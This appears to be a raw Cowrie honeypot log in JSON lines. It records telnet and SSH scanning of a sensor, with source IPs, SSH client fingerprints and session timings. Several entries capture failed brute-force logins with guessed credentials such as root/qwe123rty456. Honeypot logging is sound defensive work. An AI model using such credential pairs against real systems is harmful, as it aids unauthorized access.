{"eventid":"cowrie.session.connect","src_ip":"136.144.203.5","src_port":45136,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b237ec1e66e","protocol":"telnet","message":"New connection: 136.144.203.5:45136 (159.203.135.109:23) [session: 2b237ec1e66e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:49.454279Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":36800,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f82cd4a58b1","protocol":"telnet","message":"New connection: 103.157.135.60:36800 (10.17.0.5:23) [session: 8f82cd4a58b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:50.798069Z"}
{"eventid":"cowrie.session.closed","duration":30.506503582000732,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:51.837923Z","src_ip":"103.157.135.60","session":"c9748d96a7ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":40358,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6a9e3616279","protocol":"telnet","message":"New connection: 103.157.135.60:40358 (10.17.0.5:23) [session: b6a9e3616279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:52.512502Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56254,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3fb35b66344","protocol":"ssh","message":"New connection: 159.203.92.129:56254 (159.203.135.109:22) [session: e3fb35b66344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:53.037739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:53.042482Z","src_ip":"159.203.92.129","session":"e3fb35b66344","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:53.046985Z","src_ip":"159.203.92.129","session":"e3fb35b66344","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible.123456","message":"login attempt [ansible/ansible.123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:53.059003Z","src_ip":"159.203.92.129","session":"e3fb35b66344","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:54.065178Z","src_ip":"159.203.92.129","session":"e3fb35b66344","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.990540504455566,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:54.737340Z","src_ip":"103.157.135.60","session":"c88ae0499833","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.495991945266724,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:54.744532Z","src_ip":"103.157.135.60","session":"bc4f451db99c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.203.5","src_port":48792,"dst_ip":"159.203.135.109","dst_port":23,"session":"495503a63c0a","protocol":"telnet","message":"New connection: 136.144.203.5:48792 (159.203.135.109:23) [session: 495503a63c0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:55.982208Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":49402,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4eb5a2fc7b0","protocol":"telnet","message":"New connection: 103.157.135.60:49402 (10.17.0.5:23) [session: a4eb5a2fc7b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:57.423928Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":57462,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b2942a2c594","protocol":"telnet","message":"New connection: 45.87.43.158:57462 (159.203.135.109:23) [session: 8b2942a2c594]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:57.631035Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":42812,"dst_ip":"10.17.0.5","dst_port":23,"session":"842877a32b30","protocol":"telnet","message":"New connection: 139.162.207.207:42812 (10.17.0.5:23) [session: 842877a32b30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:58.816389Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":49850,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b305e3e5fe6","protocol":"ssh","message":"New connection: 80.94.92.182:49850 (10.17.0.5:22) [session: 7b305e3e5fe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:59.644331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:59.795862Z","src_ip":"80.94.92.182","session":"7b305e3e5fe6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:59.803488Z","src_ip":"80.94.92.182","session":"7b305e3e5fe6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.475148677825928,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:00.085897Z","src_ip":"45.87.43.158","session":"8770e8b08a39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":57552,"dst_ip":"10.17.0.5","dst_port":23,"session":"432d694fbf84","protocol":"telnet","message":"New connection: 103.157.135.60:57552 (10.17.0.5:23) [session: 432d694fbf84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:00.203656Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1q2w3e4r","message":"login attempt [ubuntu/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:00.680567Z","src_ip":"80.94.92.182","session":"7b305e3e5fe6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.049110412597656,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:01.269544Z","src_ip":"45.87.43.158","session":"10cbc8474a7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":60420,"dst_ip":"10.17.0.5","dst_port":23,"session":"55322eacfa7e","protocol":"telnet","message":"New connection: 103.157.135.60:60420 (10.17.0.5:23) [session: 55322eacfa7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:01.474498Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:02.105526Z","src_ip":"80.94.92.182","session":"7b305e3e5fe6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.716564655303955,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:05.570491Z","src_ip":"146.19.248.24","session":"7020c51bb3e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.365031719207764,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:06.372327Z","src_ip":"45.87.43.158","session":"5f8551ef00a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":40076,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd4402fd25f4","protocol":"telnet","message":"New connection: 45.87.43.158:40076 (159.203.135.109:23) [session: fd4402fd25f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:06.619705Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":40086,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf6907c4d68a","protocol":"telnet","message":"New connection: 45.87.43.158:40086 (159.203.135.109:23) [session: bf6907c4d68a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:06.697536Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.203.5","src_port":54996,"dst_ip":"159.203.135.109","dst_port":23,"session":"924e70f80d0d","protocol":"telnet","message":"New connection: 136.144.203.5:54996 (159.203.135.109:23) [session: 924e70f80d0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:06.715850Z"}
{"eventid":"cowrie.session.closed","duration":30.295501470565796,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:07.201646Z","src_ip":"45.87.43.158","session":"fe7179cff0b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":43386,"dst_ip":"10.17.0.5","dst_port":23,"session":"209e3a11a0e6","protocol":"telnet","message":"New connection: 139.162.207.207:43386 (10.17.0.5:23) [session: 209e3a11a0e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:07.570404Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":49712,"dst_ip":"10.17.0.5","dst_port":23,"session":"eeb30e20d6d1","protocol":"telnet","message":"New connection: 103.157.135.60:49712 (10.17.0.5:23) [session: eeb30e20d6d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:09.216719Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":43396,"dst_ip":"10.17.0.5","dst_port":23,"session":"78a274e01b5e","protocol":"telnet","message":"New connection: 139.162.207.207:43396 (10.17.0.5:23) [session: 78a274e01b5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:09.281400Z"}
{"eventid":"cowrie.session.closed","duration":31.214078426361084,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:09.294993Z","src_ip":"45.87.43.158","session":"3f92decdad92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":56758,"dst_ip":"10.17.0.5","dst_port":23,"session":"e94138a3d359","protocol":"telnet","message":"New connection: 103.157.135.60:56758 (10.17.0.5:23) [session: e94138a3d359]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:12.348101Z"}
{"eventid":"cowrie.session.closed","duration":31.291743755340576,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:12.943525Z","src_ip":"45.87.43.158","session":"25cc0df92e08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":45200,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d39a381802c","protocol":"telnet","message":"New connection: 139.162.207.207:45200 (10.17.0.5:23) [session: 2d39a381802c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:13.524343Z"}
{"eventid":"cowrie.session.connect","src_ip":"125.31.2.160","src_port":55724,"dst_ip":"10.17.0.5","dst_port":22,"session":"2da620b79b6a","protocol":"ssh","message":"New connection: 125.31.2.160:55724 (10.17.0.5:22) [session: 2da620b79b6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:17.290049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:17.294189Z","src_ip":"125.31.2.160","session":"2da620b79b6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:17.512424Z","src_ip":"125.31.2.160","session":"2da620b79b6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.578384399414062,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:17.734709Z","src_ip":"103.157.135.60","session":"664aeb7bd989","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123rty456","message":"login attempt [root/qwe123rty456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:18.414633Z","src_ip":"125.31.2.160","session":"2da620b79b6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.472626447677612,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:18.659096Z","src_ip":"103.157.135.60","session":"217aa573705e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":45214,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdefd3c6cb89","protocol":"telnet","message":"New connection: 139.162.207.207:45214 (10.17.0.5:23) [session: cdefd3c6cb89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:19.384956Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:19.637303Z","src_ip":"125.31.2.160","session":"2da620b79b6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.317814588546753,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:20.512755Z","src_ip":"103.157.135.60","session":"b89a11cd7dab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.35020112991333,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:20.804275Z","src_ip":"136.144.203.5","session":"2b237ec1e66e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.832126140594482,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:21.630074Z","src_ip":"103.157.135.60","session":"8f82cd4a58b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":49354,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd1083f00311","protocol":"telnet","message":"New connection: 45.87.43.158:49354 (159.203.135.109:23) [session: cd1083f00311]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:23.542420Z"}
{"eventid":"cowrie.session.closed","duration":31.120548486709595,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:23.632928Z","src_ip":"103.157.135.60","session":"b6a9e3616279","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":49358,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbdef860c6b8","protocol":"telnet","message":"New connection: 45.87.43.158:49358 (159.203.135.109:23) [session: dbdef860c6b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:24.567062Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":49364,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e0274dafe34","protocol":"telnet","message":"New connection: 45.87.43.158:49364 (159.203.135.109:23) [session: 7e0274dafe34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:25.592348Z"}
{"eventid":"cowrie.session.closed","duration":31.599300622940063,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:27.581376Z","src_ip":"136.144.203.5","session":"495503a63c0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.083824634552002,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:28.714713Z","src_ip":"45.87.43.158","session":"8b2942a2c594","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.377233028411865,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:28.801024Z","src_ip":"103.157.135.60","session":"a4eb5a2fc7b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.49813461303711,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:30.701630Z","src_ip":"103.157.135.60","session":"432d694fbf84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":49376,"dst_ip":"159.203.135.109","dst_port":23,"session":"131a0aa15a5b","protocol":"telnet","message":"New connection: 45.87.43.158:49376 (159.203.135.109:23) [session: 131a0aa15a5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:30.942517Z"}
{"eventid":"cowrie.session.closed","duration":31.219842433929443,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:32.694223Z","src_ip":"103.157.135.60","session":"55322eacfa7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":51098,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad52065bad12","protocol":"telnet","message":"New connection: 45.87.43.158:51098 (159.203.135.109:23) [session: ad52065bad12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:32.757301Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":51104,"dst_ip":"159.203.135.109","dst_port":23,"session":"506363167604","protocol":"telnet","message":"New connection: 45.87.43.158:51104 (159.203.135.109:23) [session: 506363167604]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:35.177882Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":51114,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e73ab9e1641","protocol":"telnet","message":"New connection: 45.87.43.158:51114 (159.203.135.109:23) [session: 1e73ab9e1641]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:36.901908Z"}
{"eventid":"cowrie.session.closed","duration":30.3465518951416,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:37.062305Z","src_ip":"136.144.203.5","session":"924e70f80d0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.537596702575684,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:37.234953Z","src_ip":"45.87.43.158","session":"bf6907c4d68a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":51120,"dst_ip":"159.203.135.109","dst_port":23,"session":"0de592941674","protocol":"telnet","message":"New connection: 45.87.43.158:51120 (159.203.135.109:23) [session: 0de592941674]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:37.504916Z"}
{"eventid":"cowrie.session.closed","duration":31.408550262451172,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:38.028102Z","src_ip":"45.87.43.158","session":"fd4402fd25f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.66742968559265,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:38.483530Z","src_ip":"139.162.207.207","session":"842877a32b30","protocol":"telnet"}
